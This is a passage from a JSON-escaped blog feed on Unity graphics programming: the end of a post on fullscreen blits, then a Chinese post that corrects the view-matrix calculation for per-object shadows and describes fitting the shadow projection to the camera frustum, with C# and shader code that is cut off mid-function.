class=\"n\"\u003evertexID\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eUNITY_NEAR_CLIP_VALUE\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// note: the triangle vertex position coordinates are x2 so the returned UV coordinates are in range -1, 1 on the screen.\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat2\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003euv\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat2\u003c/span\u003e\u003cspan class=\"p\"\u003e((\u003c/span\u003e\u003cspan class=\"n\"\u003evertexID\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003evertexID\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epos\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003efloat4\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003euv\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e2.0\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e1.0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"mf\"\u003e1.0\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"cp\"\u003e#ifdef UNITY_PRETRANSFORM_TO_DISPLAY_ORIENTATION\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epos\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eApplyPretransformRotation\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003epos\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"cp\"\u003e#endif\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epos\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr /\u003e","url":"https://note.stalomeow.com/blog/posts/unity-srp-fullscreen-blit/"},{"title":"对逐物体阴影的一些改进","time":"2024-09-23T07:09:35Z","content":"\u003ch1 id=\"对逐物体阴影的一些改进\"\u003e对逐物体阴影的一些改进\u003ca class=\"headerlink\" href=\"#对逐物体阴影的一些改进\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h1\u003e\n\u003c!-- more --\u003e\n\n\u003cp\u003e之前在 \u003ca href=\"../toon-main-light-character-shadow/\"\u003e仿星铁渲染:主光源角色阴影\u003c/a\u003e 里提到了逐物体阴影的写法,这次要对之前的写法做一点改进。\u003c/p\u003e\n\u003ch2 id=\"改正-View-Matrix-的计算\"\u003e改正 View Matrix 的计算\u003ca class=\"headerlink\" href=\"#改正-View-Matrix-的计算\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cp\u003e约定\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cspan class=\"arithmatex\"\u003e\\(\\mathbf{T}\\)\u003c/span\u003e 表示 \u003ccode\u003etranslate(aabbCenter)\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003cspan class=\"arithmatex\"\u003e\\(\\mathbf{R}\\)\u003c/span\u003e 表示 \u003ccode\u003erotate(lightRotation)\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003cspan class=\"arithmatex\"\u003e\\(\\mathbf{S}\\)\u003c/span\u003e 表示 \u003ccode\u003escale(1, 1, 1)\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003cspan class=\"arithmatex\"\u003e\\(\\mathbf{Z}\\)\u003c/span\u003e 表示翻转 Z 轴\u003c/li\u003e\n\u003cli\u003e\u003cspan class=\"arithmatex\"\u003e\\(\\mathbf{w}\\)\u003c/span\u003e 表示 World Space 的点\u003c/li\u003e\n\u003cli\u003e\u003cspan class=\"arithmatex\"\u003e\\(\\mathbf{v}\\)\u003c/span\u003e 表示将 \u003cspan class=\"arithmatex\"\u003e\\(\\mathbf{w}\\)\u003c/span\u003e 变换到 View Space 后得到的点\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e有公式\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\mathbf{w}=\\mathbf{T}\\mathbf{R}\\mathbf{S}\\mathbf{Z}\\mathbf{v}\n\\]\u003c/div\u003e\n\u003cp\u003e所以\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\text{View Matrix}=\\mathbf{Z}^{-1}\\mathbf{S}^{-1}\\mathbf{R}^{-1}\\mathbf{T}^{-1}\n\\]\u003c/div\u003e\n\u003cp\u003e考虑到 \u003cspan class=\"arithmatex\"\u003e\\(\\mathbf{Z}^{-1}=\\mathbf{Z}\\)\u003c/span\u003e 且 \u003cspan class=\"arithmatex\"\u003e\\(\\mathbf{S}^{-1}=\\mathbf{S}\\)\u003c/span\u003e,所以下面几个公式也对\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\text{View Matrix}=\\mathbf{Z}\\mathbf{S}\\mathbf{R}^{-1}\\mathbf{T}^{-1}=\\mathbf{Z} (\\mathbf{T}\\mathbf{R}\\mathbf{S})^{-1}\n\\]\u003c/div\u003e\n\u003cp\u003e之前脑抽了,写成\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"n\"\u003efloat4x4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eviewMatrix\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat4x4\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eTRS\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eaabbCenter\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003einverse\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003elightRotation\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"n\"\u003eviewMatrix\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emul\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003es_FlipZMatrix\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eviewMatrix\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 翻转 z 轴\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e即\u003c/p\u003e\n\u003cdiv class=\"arithmatex\"\u003e\\[\n\\mathbf{Z}\\mathbf{T}^{-1}\\mathbf{R}^{-1}\\mathbf{S}\n\\]\u003c/div\u003e\n\u003cp\u003e显然是错的。正确的计算方法是\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"n\"\u003efloat4x4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eviewMatrix\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003einverse\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efloat4x4\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eTRS\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eaabbCenter\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003elightRotation\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003cspan class=\"n\"\u003eviewMatrix\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emul\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003es_FlipZMatrix\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eviewMatrix\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 翻转 z 轴\u003c/span\u003e\n\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003e这个问题在之前的文章里也修改了。\u003c/p\u003e\n\u003ch2 id=\"改进-Projection-Matrix-的计算\"\u003e改进 Projection Matrix 的计算\u003ca class=\"headerlink\" href=\"#改进-Projection-Matrix-的计算\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003e这里只考虑主平行光源,也就是正交投影。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e\u003cimg alt=\"剔除效果\" src=\"../../../obsidian-vault/attachments/per-object-shadow-debugger.gif\" /\u003e\u003c/p\u003e\n\u003cp\u003e这个方法的优势:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e准确地剔除看不见的阴影。\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003ezNear\u003c/code\u003e 和 \u003ccode\u003ezFar\u003c/code\u003e 的距离是最小的,不浪费 ShadowMap 的精度。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"思路\"\u003e思路\u003ca class=\"headerlink\" href=\"#思路\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e把角色的包围盒用之前算的 View Matrix 变换到光源 View Space 后,看起来就像下面这样。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"光源 View Space 中的角色包围盒\" src=\"../../../obsidian-vault/attachments/Pasted%20image%2020240923204753.png\" /\u003e\u003c/p\u003e\n\u003cp\u003e这个包围盒就是角色可投射阴影的区域,也是光源的视锥体。为了让阴影投射到更远的地方,需要把 \u003ccode\u003ezFar\u003c/code\u003e 拉远一点。但如果 \u003ccode\u003ezFar\u003c/code\u003e 距离 \u003ccode\u003ezNear\u003c/code\u003e 过远,会导致 ShadowMap 中深度都集中在 0 或者 1 附近,浪费精度,阴影质量也差。\u003c/p\u003e\n\u003cp\u003e比较好的算法是,在光源的 View Space 中对主相机视锥体进行切割,得到处于上图中矩形范围内的部分(切割时不考虑 Z 轴),再调整 \u003ccode\u003ezFar\u003c/code\u003e 把切出来的那部分包起来。这样,光源视锥体恰好能包住主相机视锥体的有效部分。\u003c/p\u003e\n\u003cp\u003e切割的结果还能用来判断阴影的可见性。如果切割后什么都没剩,或者 \u003ccode\u003ezFar\u003c/code\u003e 算出来跑到 \u003ccode\u003ezNear\u003c/code\u003e 后面,则说明阴影不可见。\u003c/p\u003e\n\u003cp\u003e考虑到有时候主相机的视锥体比较长,用上面的方法算出的 \u003ccode\u003ezFar\u003c/code\u003e 距离 \u003ccode\u003ezNear\u003c/code\u003e 也很远,所以最后还是要再限制一下 \u003ccode\u003ezFar - zNear\u003c/code\u003e 的值。\u003c/p\u003e\n\u003ch3 id=\"计算阴影包围盒\"\u003e计算阴影包围盒\u003ca class=\"headerlink\" href=\"#计算阴影包围盒\" title=\"Permanent link\"\u003e\u0026para;\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e将角色的 World Space 包围盒变换到光源 View Space。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre\u003e\u003cspan\u003e\u003c/span\u003e\u003ccode\u003e\u003cspan class=\"na\"\u003e[MethodImpl(MethodImplOptions.AggressiveInlining)]\u003c/span\u003e\n\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eunsafe\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003eGetViewSpaceShadowAABB\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003ein\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eShadowCasterCullingArgs\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ein\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat4x4\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eviewMatrix\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eout\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eout\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat3\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMax\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// 8 个顶点\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat4\u003c/span\u003e\u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003epoints\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estackalloc\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat4\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"m\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat4\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAABBMin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat4\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAABBMax\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAABBMin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAABBMin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat4\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAABBMin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAABBMax\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAABBMin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat4\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAABBMin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAABBMin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAABBMax\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat4\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAABBMax\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAABBMax\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAABBMin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat4\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAABBMax\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAABBMin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAABBMax\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat4\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAABBMin\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAABBMax\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAABBMax\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ez\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efloat4\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eargs\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAABBMax\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eshadowMin\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e 